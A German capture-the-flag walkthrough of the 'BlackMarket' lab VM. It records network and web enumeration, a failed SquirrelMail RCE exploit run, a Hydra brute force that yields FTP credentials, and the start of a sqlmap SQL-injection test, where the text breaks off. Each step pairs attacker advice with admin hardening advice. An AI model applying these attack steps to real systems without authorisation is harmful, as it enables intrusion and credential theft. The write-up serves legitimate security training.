Analyse: Der erste Schritt ist die Identifizierung des Ziels im lokalen Netzwerk. Wir verwenden `arp-scan -l`, um ARP-Anfragen zu senden und aktive Hosts aufzulisten.
Bewertung: `arp-scan` findet erfolgreich einen Host mit der IP 192.168.2.106. Die zugehörige MAC-Adresse (08:00:27:2b:c8:27) weist auf "PCS Systemtechnik GmbH" hin, ein typischer Indikator für eine VirtualBox-VM. Wir haben unser Ziel identifiziert.
Empfehlung (Pentester): Die IP 192.168.2.106 als Ziel für alle weiteren Schritte verwenden.
Empfehlung (Admin): Ein aktuelles Inventar der Netzwerkgeräte pflegen. Ungewöhnliche ARP-Scan-Aktivitäten überwachen.
192.168.2.106 08:00:27:2b:c8:27 PCS Systemtechnik GmbH
Analyse: Um die Handhabung zu erleichtern, fügen wir einen Eintrag für das Zielsystem in unsere lokale `/etc/hosts`-Datei ein. Mit `vi` weisen wir der IP 192.168.2.106 den Hostnamen `blackmarket.vuln` zu.
Bewertung: Dies ist eine reine Bequemlichkeitsmaßnahme, die es uns erlaubt, `blackmarket.vuln` statt der IP zu verwenden. Es vereinfacht die Befehlseingabe und verringert Tippfehler.
Empfehlung (Pentester): Die Verwendung von Hostnamen in `/etc/hosts` ist bei längeren Tests empfehlenswert.
Empfehlung (Admin): Keine direkten Maßnahmen nötig, solange interne Systeme nicht unsicher von lokaler Namensauflösung abhängen.
# Relevanter Eintrag nach Bearbeitung: 192.168.2.106 blackmarket.vuln
Analyse: Wir führen einen ersten Scan des Webservers auf Port 80 mit Nikto durch. Nikto sucht nach bekannten Schwachstellen, Fehlkonfigurationen, interessanten Dateien und veralteter Software.
Bewertung: Nikto liefert mehrere wichtige Informationen:
Empfehlung (Pentester): Die Apache-Version 2.4.7 auf bekannte Exploits prüfen. SquirrelMail gezielt untersuchen (Version? Bekannte Schwachstellen?). Die gefundenen Pfade (`/admin/script.php`, `/login.php`) und die SquirrelMail-Installation mit weiteren Tools (Gobuster, Dirb) und manuell analysieren. Nach XSS-Schwachstellen suchen, um das `PHPSESSID`-Cookie zu stehlen.
Empfehlung (Admin): Apache dringend auf die neueste stabile Version aktualisieren. Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy`) hinzufügen. Das `HttpOnly`-Flag für alle Session-Cookies setzen. SquirrelMail aktualisieren oder entfernen, falls nicht benötigt. Zugriff auf Standard-Apache-Dateien beschränken.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2023-06-17 00:00:39 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.7 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /admin/script.php: This might be interesting: has been seen in web logs from an unknown scanner. + /squirrelmail/src/read_body.php: Cookie SQMSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /squirrelmail/src/read_body.php: SquirrelMail found. + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /login.php: Admin login page/section found. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8102 requests: 0 error(s) and 11 item(s) reported on remote host + End Time: 2023-06-17 00:00:49 (GMT2) (10 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Wir untersuchen den Quellcode der SquirrelMail-Login-Seite (`http://192.168.2.106/squirrelmail/src/login.php`).
Bewertung: Im JavaScript-Code finden wir einen Anti-Clickjacking-Schutz. Wenn die Seite in einem Frame geladen wird, der nicht zur selben Domain gehört, versucht sie, den Benutzer auszuloggen und zur Haupt-Login-Seite weiterzuleiten. Dies ist eine standardmäßige Sicherheitsmaßnahme und für uns momentan nicht direkt ausnutzbar, aber gut zu wissen.
Empfehlung (Pentester): Den Anti-Clickjacking-Schutz zur Kenntnis nehmen. Falls Clickjacking-Angriffe geplant waren, müssen diese nun raffinierter gestaltet werden oder sind möglicherweise nicht durchführbar. Fokus auf andere Schwachstellen in SquirrelMail legen.
Empfehlung (Admin): Der implementierte Anti-Clickjacking-Schutz ist eine gute Basismaßnahme. Moderne Browser unterstützen auch den `X-Frame-Options`-Header oder `Content-Security-Policy`-Direktiven (frame-ancestors), die oft effektiver sind und serverseitig konfiguriert werden sollten.
view-source:http://192.168.2.106/squirrelmail/src/login.php if (self != top) { try { // This condition will throw an error if the parent has a different origin // It is mostly for IE, but may also catch other browsers that don't yet // support document.domain in violation of the Same Origin Policy // See https://www.whatwg.org/specs/web-apps/current-work/multipage/origin-0.html#same-origin if (document.domain != top.document.domain) { // NOTE: this code should never execute - exception should already have been thrown // since it's a security violation in this case to even try to access // top.document.domain (but it's left here just to be extra safe) throw "Clickjacking security violation! Please log out immediately!"; } } catch (e) { // Violations cause an error and are redirected to logout self.location = "/squirrelmail/src/signout.php"; top.location = "/squirrelmail/src/signout.php"; } }
Analyse: Wir verwenden Gobuster, um Verzeichnisse und Dateien auf dem Webserver zu bruteforcen. Wir nutzen eine gängige Wortliste und eine breite Palette von Dateierweiterungen.
Bewertung: Gobuster liefert eine Fülle von Ergebnissen und bestätigt viele von Nikto gefundene Pfade, fügt aber auch neue hinzu:
Empfehlung (Pentester): Die gefundenen Verzeichnisse und Dateien systematisch untersuchen:
=============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.106 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 403,404 [+] User Agent: gobuster/3.5 [+] Extensions: ... (siehe Befehl) ... [+] Expanded: true [+] Timeout: 10s =============================================================== 2023/06/17 00:05:15 Starting gobuster in directory enumeration mode =============================================================== http://192.168.2.106/index.php (Status: 200) [Size: 2433] http://192.168.2.106/login.php (Status: 200) [Size: 0] http://192.168.2.106/user (Status: 301) [Size: 312] [--> http://192.168.2.106/user/] http://192.168.2.106/header.php (Status: 200) [Size: 1031] http://192.168.2.106/admin (Status: 301) [Size: 313] [--> http://192.168.2.106/admin/] http://192.168.2.106/upload (Status: 301) [Size: 314] [--> http://192.168.2.106/upload/] http://192.168.2.106/css (Status: 301) [Size: 311] [--> http://192.168.2.106/css/] http://192.168.2.106/db (Status: 301) [Size: 310] [--> http://192.168.2.106/db/] http://192.168.2.106/screenshot.png (Status: 200) [Size: 359166] http://192.168.2.106/vendor (Status: 301) [Size: 314] [--> http://192.168.2.106/vendor/] http://192.168.2.106/dist (Status: 301) [Size: 312] [--> http://192.168.2.106/dist/] http://192.168.2.106/script.php (Status: 200) [Size: 611] http://192.168.2.106/squirrelmail (Status: 301) [Size: 320] [--> http://192.168.2.106/squirrelmail/] http://192.168.2.106/supplier (Status: 301) [Size: 316] [--> http://192.168.2.106/supplier/] http://192.168.2.106/conn.php (Status: 200) [Size: 0] http://192.168.2.106/dist/css (Status: 301) [Size: 316] [--> http://192.168.2.106/dist/css/] http://192.168.2.106/dist/js (Status: 301) [Size: 315] [--> http://192.168.2.106/dist/js/] http://192.168.2.106/vendor/jquery (Status: 301) [Size: 321] [--> http://192.168.2.106/vendor/jquery/] http://192.168.2.106/user/index.php (Status: 302) [Size: 0] [--> ../index.php] http://192.168.2.106/user/search.php (Status: 302) [Size: 0] [--> ../index.php] http://192.168.2.106/user/history.php (Status: 302) [Size: 0] [--> ../index.php] http://192.168.2.106/user/header.php (Status: 200) [Size: 861] http://192.168.2.106/user/logout.php (Status: 302) [Size: 0] [--> ../index.php] http://192.168.2.106/user/script.php (Status: 200) [Size: 633] http://192.168.2.106/user/checkout.php (Status: 302) [Size: 0] [--> ../index.php] http://192.168.2.106/user/navbar.php (Status: 200) [Size: 2292] http://192.168.2.106/user/session.php (Status: 302) [Size: 0] [--> ../index.php] http://192.168.2.106/user/search_result.php (Status: 302) [Size: 0] [--> ../index.php] http://192.168.2.106/user/plist.php (Status: ???) [Size: ???] // Annahme: Gobuster läuft weiter oder wurde abgebrochen =============================================================== 2023/06/17 00:15:01 Finished ===============================================================
Analyse: Wir rufen die von Gobuster gefundene Datei `header.php` direkt mit `curl` ab, um ihren Inhalt zu sehen.
Bewertung: Die Datei enthält HTML-Code und den Text "BlackMarket Weapon Management System". Dies bestätigt den Namen der Anwendung, der auch schon im Nmap-Scan als HTTP-Titel erschien. Der direkte Abruf liefert keine direkten Schwachstellen, bestätigt aber, dass die Datei existiert und Code enthält.
Empfehlung (Pentester): Den Quellcode der `header.php` (und anderer PHP-Dateien) genauer analysieren, falls möglich (z.B. durch LFI oder wenn der Code anderweitig zugänglich wird).
Empfehlung (Admin): Sicherstellen, dass PHP-Dateien, die nicht als Einstiegspunkte gedacht sind, nicht direkt aufgerufen werden können oder zumindest keine sensiblen Operationen ohne korrekte Initialisierung durchführen.
< -- HTML Code der header.php --> ... BlackMarket Weapon Management System ...
Analyse: Wir führen einen erneuten, detaillierten Nmap-Scan durch, diesmal gezielt gegen die bekannten oder vermuteten offenen Ports, und verwenden wieder die Optionen für Skript-Scanning (`-sC`), Versionserkennung (`-sV`) und umfassende Analyse (`-A`). `-Pn` wird hinzugefügt, um den Host-Discovery-Ping-Scan zu überspringen (wir wissen bereits, dass der Host online ist).
Bewertung: Dieser Scan bestätigt die bereits offenen Ports und liefert detailliertere Versionsinformationen und Ergebnisse der Nmap-Skripte:
Empfehlung (Pentester): Die spezifischen Versionen (vsftpd 3.0.2, OpenSSH 6.6.1p1, Dovecot) auf bekannte Exploits prüfen (z.B. mit `searchsploit`). Versuchen, die Mail-Dienste (IMAP/POP3) oder SquirrelMail mit gefundenen Zugangsdaten anzugreifen. Authentifizierte Logins bei FTP und SSH versuchen.
Empfehlung (Admin): Alle Dienste (vsftpd, OpenSSH, Apache, Dovecot) auf die neuesten stabilen Versionen aktualisieren. Selbstsignierte Zertifikate durch gültige Zertifikate ersetzen, falls die Dienste extern erreichbar sein sollen. Unnötige Dienste (falls zutreffend) deaktivieren.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-17 00:18 CEST Nmap scan report for blackmarket.vuln (192.168.2.106) Host is up (0.00011s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 a9:98:84:aa:90:7e:f1:e6:be:c0:84:3e:fa:aa:83:8a (DSA) | 2048 07:5c:77:15:30:5a:17:95:8e:0f:91:f0:2d:0b:c3:7a (RSA) | 256 2f:9c:29:b5:f5:dc:f4:95:07:6d:41:ee:f9:0d:15:b8 (ECDSA) |_ 256 24:ac:30:c7:79:7f:43:cc:fc:23:df:ea:db:bb:4a:cc (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: BlackMarket Weapon Management System | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.7 (Ubuntu) 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: SASL(PLAIN LOGIN) STLS TOP AUTH-RESP-CODE UIDL PIPELINING CAPA RESP-CODES |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2017-11-01T07:05:35 |_Not valid after: 2027-11-01T07:05:35 143/tcp open imap Dovecot imapd (Ubuntu) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2017-11-01T07:05:35 |_Not valid after: 2027-11-01T07:05:35 |_imap-capabilities: STARTTLS more LITERAL+ IDLE LOGIN-REFERRALS listed ENABLE ID capabilities Pre-login have SASL-IR IMAP4rev1 LOGIN-DISABLED LOGINDISABLEDA0001 post-login 993/tcp open ssl/imap Dovecot imapd (Ubuntu) | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2017-11-01T07:05:35 |_Not valid after: 2027-11-01T07:05:35 |_imap-capabilities: more LITERAL+ IDLE LOGIN-REFERRALS listed AUTH=PLAINA0001 ID capabilities Pre-login have SASL-IR IMAP4rev1 ENABLE post-login |_ssl-date: TLS randomness does not represent time 995/tcp open ssl/pop3 Dovecot pop3d | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2017-11-01T07:05:35 |_Not valid after: 2027-11-01T07:05:35 |_ssl-date: TLS randomness does not represent time |_pop3-capabilities: SASL(PLAIN LOGIN) USER TOP AUTH-RESP-CODE UIDL PIPELINING CAPA RESP-CODES MAC Address: 08:00:27:2B:C8:27 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.11 ms blackmarket.vuln (192.168.2.106) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds
Analyse: Wir versuchen, uns anonym beim FTP-Dienst (vsftpd 3.0.2) auf Port 21 anzumelden.
Bewertung: Der Versuch schlägt fehl (`530 Login incorrect.`). Anonymer Zugriff ist auf diesem FTP-Server nicht erlaubt. Wir benötigen gültige Benutzerdaten.
Empfehlung (Pentester): Nach Benutzernamen und Passwörtern suchen (z.B. aus Web-Enumeration, anderen Diensten, Brute-Force gegen gefundene Benutzernamen).
Empfehlung (Admin): Die Deaktivierung des anonymen FTP-Zugriffs ist eine gute Sicherheitspraxis und sollte beibehalten werden, es sei denn, es gibt einen spezifischen Grund dafür.
Connected to 192.168.2.106. 220 (vsFTPd 3.0.2) Name (192.168.2.106:cyber): anonymous 331 Please specify the password. Password: 530 Login incorrect. Login failed. ftp> quit 221 Goodbye.
Analyse: Wir verwenden `searchsploit`, ein Kommandozeilen-Tool zur Suche in der Exploit-DB-Datenbank, um nach bekannten Schwachstellen für "Dovecot", den laufenden IMAP/POP3-Server, zu suchen.
Bewertung: Searchsploit findet drei Einträge:
Empfehlung (Pentester): Den Exploit 25297.txt mit `searchsploit -m` kopieren und analysieren, ob die Technik anwendbar ist oder Hinweise gibt. Die Suche nach Exploits für die spezifische Dovecot-Version (die Nmap nicht genau ermitteln konnte) fortsetzen.
Empfehlung (Admin): Dovecot auf die neueste Version aktualisieren. Konfiguration überprüfen, insbesondere im Zusammenspiel mit dem Mail Transfer Agent (MTA, z.B. Postfix, Exim).
------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------- --------------------------------- Dovecot 1.1.x - Invalid Message Address Parsing Denial of Service | linux/dos/32551.txt Dovecot IMAP 1.0.10 < 1.1rc2 - Remote Email Disclosure | multiple/remote/5257.py Dovecot with Exim - 'sender_address' Remote Command Execution | linux/remote/25297.txt ------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results Papers: No Results
Analyse: Wir kopieren die Datei des Dovecot/Exim RCE-Exploits aus der Exploit-DB in unser aktuelles Verzeichnis zur genaueren Untersuchung.
Bewertung: Dieser Schritt dient der Vorbereitung zur Analyse des Exploit-Textes.
Empfehlung (Pentester): Den Inhalt der Datei `25297.txt` lesen und prüfen, ob die beschriebene Schwachstelle oder Technik relevant ist.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.
Exploit: Dovecot with Exim - 'sender_address' Remote Command Execution URL: https://www.exploit-db.com/exploits/25297 Path: /usr/share/exploitdb/exploits/linux/remote/25297.txt Codes: SVDB-93004 Verified: False File Type: Unicode text, UTF-8 text Copied to: /root/25297.txt
Analyse: Der Pentester führt hier ein Shell-Skript (`SquirrelMail_RCE_exploit.sh`) aus, das offenbar einen bekannten Exploit für SquirrelMail (CVE-2017-7692) implementiert. Dieser Exploit nutzt eine Schwachstelle in der Art und Weise, wie SquirrelMail die `sendmail`-Anwendung aufruft, um Remote Code Execution zu ermöglichen, wenn bestimmte Konfigurationen vorliegen. Das Skript scheint zu versuchen, sich anzumelden und eine manipulierte Sendmail-Konfiguration hochzuladen.
Bewertung: Der Exploitversuch scheint hier fehlzuschlagen oder unvollständig zu sein. Er fragt nach Benutzerdaten (`hacker`/leer) und meldet "Logging in..." und "Uploading Sendmail config", aber es gibt keine Erfolgsmeldung oder Shell. Möglicherweise sind die eingegebenen Benutzerdaten falsch, SquirrelMail ist nicht verwundbar konfiguriert, oder der Exploit funktioniert in dieser Umgebung nicht. Dieser Angriffsweg scheint vorerst nicht erfolgreich.
Empfehlung (Pentester): Den Exploit-Versuch mit gültigen Benutzerdaten wiederholen, falls welche gefunden werden. Prüfen, ob die Voraussetzungen für CVE-2017-7692 erfüllt sind (spezifische SquirrelMail-Version, Konfiguration). Andere Angriffsvektoren weiterverfolgen.
Empfehlung (Admin): SquirrelMail auf die neueste Version aktualisieren oder entfernen. Sicherstellen, dass die Mailserver-Konfiguration (insbesondere die Übergabe von Parametern an `sendmail` oder Äquivalente) sicher ist und keine Befehlsinjektionen ermöglicht.
__ __ __ __ __ / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ /____/ SquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692) SquirrelMail_RCE_exploit.sh (ver. 1.1) Discovered and coded by Dawid Golunski (@dawid_golunski) https://legalhackers.com ExploitBox project: https://ExploitBox.io [*] Enter SquirrelMail user credentials user: hacker pass: [*] Logging in to SquirrelMail at http://192.168.2.106/squirrelmail/src/login.php [*] Uploading Sendmail config # (Keine weitere Ausgabe, Exploit scheint hier zu enden oder fehlzuschlagen)
Analyse: Der Pentester untersucht erneut den Quellcode der `index.php` und findet einen HTML-Kommentar: `<!-- flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=} -->`. Der Inhalt ist Base64-kodiert.
Bewertung: Dies ist ein weiterer wichtiger Fund! Ein Base64-String, der im Quellcode versteckt ist. Wir dekodieren `Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=` (z.B. mit einem Online-Decoder oder `echo "Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=" | base64 -d`). Das Ergebnis ist `CIA - Operation Treadstone`. Dies ist ein klarer Hinweis auf die Bourne-Filmreihe und liefert uns Keywords ("CIA", "Operation Treadstone"), die für die Passwortsuche relevant sein könnten.
Empfehlung (Pentester): Die dekodierten Keywords "CIA" und "Operation Treadstone" verwenden:
view-source:http://192.168.2.106/index.php
...
-- DataTables JavaScript -->
-- flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=} -->
...
Analyse: Der Base64-String `Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=` wird dekodiert.
Bewertung: Die Dekodierung ergibt `CIA - Operation Treadstone`. Dies liefert uns thematische Keywords.
Empfehlung (Pentester): Keywords für Passwortgenerierung/-suche nutzen.
Empfehlung (Admin): Keine kodierten Hinweise im Quellcode hinterlassen.
Input: Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU= Output: CIA - Operation Treadstone
Analyse: Wir verwenden `cewl`, ein Tool, das Webseiten durchsucht (crawlt) und daraus eine Wortliste generiert. Wir zielen auf die Fandom-Wiki-Seite zu "Operation Treadstone", um eine themenspezifische Wortliste zu erstellen.
https://bourne.fandom.com/wiki/Operation_Treadstone
: Die Ziel-URL.-d 2
: Die Tiefe des Crawlings (folgt Links bis zu einer Tiefe von 2).-w dict2.txt
: Speichert die generierte Wortliste in `dict2.txt`.Bewertung: Dies ist eine gute Technik, um kontextspezifische Wortlisten zu erstellen, die relevantere Passwortkandidaten enthalten könnten als generische Listen. Die Effektivität hängt davon ab, ob die Entwickler des Systems Passwörter verwendet haben, die mit dem Thema "Bourne/Treadstone" zusammenhängen.
Empfehlung (Pentester): Die generierte Wortliste (`dict2.txt` oder `dict.txt`) in Kombination mit gefundenen Benutzernamen für Brute-Force-Angriffe verwenden (z.B. mit Hydra).
Empfehlung (Admin): Passwortrichtlinien durchsetzen, die die Verwendung von thematisch naheliegenden Wörtern (Projektname, Firmenname etc.) verbieten.
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/) # (Ausgabe des Crawling-Prozesses) ... # Wortliste dict2.txt wird erstellt.
Analyse: Wir starten einen Brute-Force-Angriff mit Hydra gegen den FTP-Dienst (Port 21).
-L dict.txt
: Verwendet `dict.txt` als Liste von Benutzernamen.-P dict.txt
: Verwendet dieselbe Liste `dict.txt` auch als Passwortliste. Dies testet alle Kombinationen von Benutzernamen und Passwörtern aus dieser Liste.ftp://blackmarket.vuln:21
: Das Ziel.-t 64
: Sehr hohe Anzahl von Threads.Bewertung: Erfolg! Hydra findet eine gültige Kombination: Benutzer `nicky` mit dem Passwort `CIA`. Das Passwort stammt direkt aus dem dekodierten Hinweis im HTML-Quellcode. Die Verwendung der `cewl`-Liste oder einer anderen `dict.txt` war hier entscheidend, um den Benutzernamen `nicky` zu finden.
Empfehlung (Pentester): Sich sofort mit den gefundenen Zugangsdaten (`nicky`/`CIA`) per FTP anmelden und das Dateisystem untersuchen.
Empfehlung (Admin): Keine einfachen, thematisch naheliegenden Passwörter wie "CIA" verwenden. Brute-Force-Schutzmechanismen wie Fail2Ban für FTP implementieren.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *ssholes ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-17 01:04:38 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore will be created. Click ^C to abort. [DATA] max 64 tasks per 1 server, overall 64 tasks, 50836900 login tries (l:7130/p:7130), ~794327 tries per task [DATA] attacking ftp://blackmarket.vuln:21/ [STATUS] 164.00 tries/min, 164 tries in 00:01h, Ratio 0.00 ... [21][ftp] host: blackmarket.vuln login: nicky password: CIA 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-17 01:05:10
Analyse: Wir melden uns mit den gerade gefundenen Zugangsdaten (`nicky`/`CIA`) per FTP an. Anschließend untersuchen wir das Dateisystem mit `ls -la`, wechseln in das `ftp`-Verzeichnis, dann in `ImpFiles` und laden die dort gefundene Datei `IMP.txt` mit `get` herunter. Wir testen auch, ob wir Verzeichnisse außerhalb des Home-Verzeichnisses (`/home`, `/var`) oder des `ftp`-Verzeichnisses wechseln können und ob wir Schreibrechte haben (`put ben.php`).
Bewertung: Der Login ist erfolgreich. Wir befinden uns im Home-Verzeichnis von `nicky`. Innerhalb des Unterverzeichnisses `ftp/ImpFiles` finden wir die interessante Datei `IMP.txt`, die wir herunterladen können. Versuche, in Systemverzeichnisse wie `/home` oder `/var` zu wechseln, scheitern (`550 Failed to change directory`), was auf eine Chroot-Umgebung oder eingeschränkte Berechtigungen hindeutet. Der Versuch, eine Datei hochzuladen, scheitert ebenfalls (`550 Permission denied`). Wir haben also nur Lesezugriff innerhalb der erlaubten Verzeichnisse.
Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei `IMP.txt` analysieren.
Empfehlung (Admin): Die FTP-Konfiguration überprüfen. Chrooting ist eine gute Praxis, um Benutzer auf ihre Home-Verzeichnisse zu beschränken. Sicherstellen, dass Dateiberechtigungen korrekt gesetzt sind und Benutzer nicht schreiben können, wo es nicht vorgesehen ist.
Connected to 192.168.2.106.
220 (vsFTPd 3.0.2)
Name (192.168.2.106:cyber): nicky
331 Please specify the password.
Password: CIA
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||26562|).
150 Here comes the directory listing.
dr-xr-xr-x 4 1002 1002 4096 Nov 06 2017 .
drwxr-xr-x 4 0 0 4096 Nov 06 2017 ..
-rw-r--r-- 1 1002 1002 220 Nov 06 2017 .bash_logout
-rw-r--r-- 1 1002 1002 3637 Nov 06 2017 .bashrc
drwxr-xr-x 2 1002 1002 4096 Nov 06 2017 .cache
-rw-r--r-- 1 1002 1002 675 Nov 06 2017 .profile
drwxr-xr-x 3 65534 65534 4096 Nov 06 2017 ftp
226 Directory send OK.
ftp> cd ftp
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||65388|).
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 06 2017 .
dr-xr-xr-x 4 1002 1002 4096 Nov 06 2017 ..
drwxr-xr-x 2 1002 1002 4096 Nov 09 2017 ImpFiles
226 Directory send OK.
ftp> cd ImpFiles
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||62710|).
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 Nov 09 2017 .
drwxr-xr-x 3 65534 65534 4096 Nov 06 2017 ..
-rw-r--r-- 1 0 0 216 Nov 12 2017 IMP.txt
226 Directory send OK.
ftp> get IMP.txt
local: IMP.txt remote: IMP.txt
229 Entering Extended Passive Mode (|||36972|).
150 Opening BINARY mode data connection for IMP.txt (216 bytes).
100% |***********************************************************************************| 216 775.50 KiB/s 00:00 ETA
226 Transfer complete.
216 bytes received in 00:00 (435.82 KiB/s)
ftp> cd /home
550 Failed to change directory.
ftp> cd /var
550 Failed to change directory.
ftp> put ben.php
local: ben.php remote: ben.php
229 Entering Extended Passive Mode (|||42920|).
550 Permission denied.
ftp> quit
221 Goodbye.
Analyse: Wir untersuchen den Inhalt der heruntergeladenen Datei `IMP.txt`.
Bewertung: Die Datei enthält `flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}`. Der Base64-Teil dekodiert zu `Congrats Proceed Further`. Dies ist vermutlich die User-Flag oder ein weiterer Hinweis. Die Nachricht erwähnt auch einen "CIA blackmarket Vehical workshop", was auf eine weitere Webanwendung oder einen Bereich hindeuten könnte.
Empfehlung (Pentester): Flag2 notieren. Nach einer Webanwendung suchen, die mit "vehicle workshop" oder "vworkshop" zu tun hat (z.B. `http://192.168.2.106/vworkshop/`).
Empfehlung (Admin): Keine Flags oder Hinweise in Dateien innerhalb von FTP-Verzeichnissen speichern.
flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}
If anyone reading this message it means you are on the right track
however I do not have any idea about the CIA blackmarket Vehical
workshop. You must find out and hack it!
Analyse: Der Base64-String `Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy` aus Flag 2 wird dekodiert.
Bewertung: Ergibt `Congrats Proceed Further` - eine Bestätigung und Aufforderung weiterzumachen.
Input: Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy Output: Congrats Proceed Further
Analyse: Basierend auf dem Hinweis in `IMP.txt` suchen wir nach dem "vehicle workshop". Der Pentester hat offenbar das Verzeichnis `/vworkshop/` gefunden und darin die Seite `account.php`. Die Seite zeigt Details zu einem eingeloggten Benutzer ("admin admin") und Funktionen wie "Sell Your Vehicle", "Service My Vehicle" etc. Dies deutet auf eine Datenbankanwendung hin.
Bewertung: Das Finden dieser Anwendung ist ein wichtiger Schritt. Webanwendungen, die mit Datenbanken interagieren, sind häufig anfällig für SQL Injection (SQLi).
Empfehlung (Pentester): Die `/vworkshop/`-Anwendung systematisch auf Schwachstellen untersuchen, insbesondere SQL Injection. Alle Eingabefelder, URL-Parameter und Formulare testen. Tools wie SQLMap verwenden.
Empfehlung (Admin): Webanwendungen regelmäßig auf Schwachstellen scannen (DAST/SAST). Eingabedaten immer serverseitig validieren und sanitisieren. Parametrisierte Abfragen (Prepared Statements) verwenden, um SQL Injection zu verhindern.
<-- Auszug aus der Seite --> BlackMarket Auto WorkShop Sidebar Menu Account Sell Your Vehicle Vehicle Sell Request Service My Vehicle Vehicle Service Request View Test Drive Request View Purchased Vehicles View Purchased Spareparts Logout Customer ID: 11 Customer Name : admin admin Vehicle service status: 0 vehicles status Pending. 0 vehicles status Completed. Vehicle sell request: Sold :0 Vehicles Pending :0 Vehicles No. of vehicles purchased: 0
Analyse: Wir verwenden SQLMap, ein automatisiertes Tool zur Erkennung und Ausnutzung von SQL-Injection-Schwachstellen. Wir zielen auf die URL `http://192.168.2.106/vworkshop/sparepartsstoremore.php`, die vermutlich aus der weiteren Untersuchung der `/vworkshop/`-Anwendung stammt. Der GET-Parameter `sparepartid=1` wird als potenzieller Injektionspunkt getestet.
-u "URL"
: Die Ziel-URL.--dbms mysql
: Gibt an, dass wir eine MySQL-Datenbank erwarten (beschleunigt den Test).--current-user
: Versucht, den aktuellen Datenbankbenutzer herauszufinden.--users
: Versucht, alle Datenbankbenutzer aufzulisten.--passwords
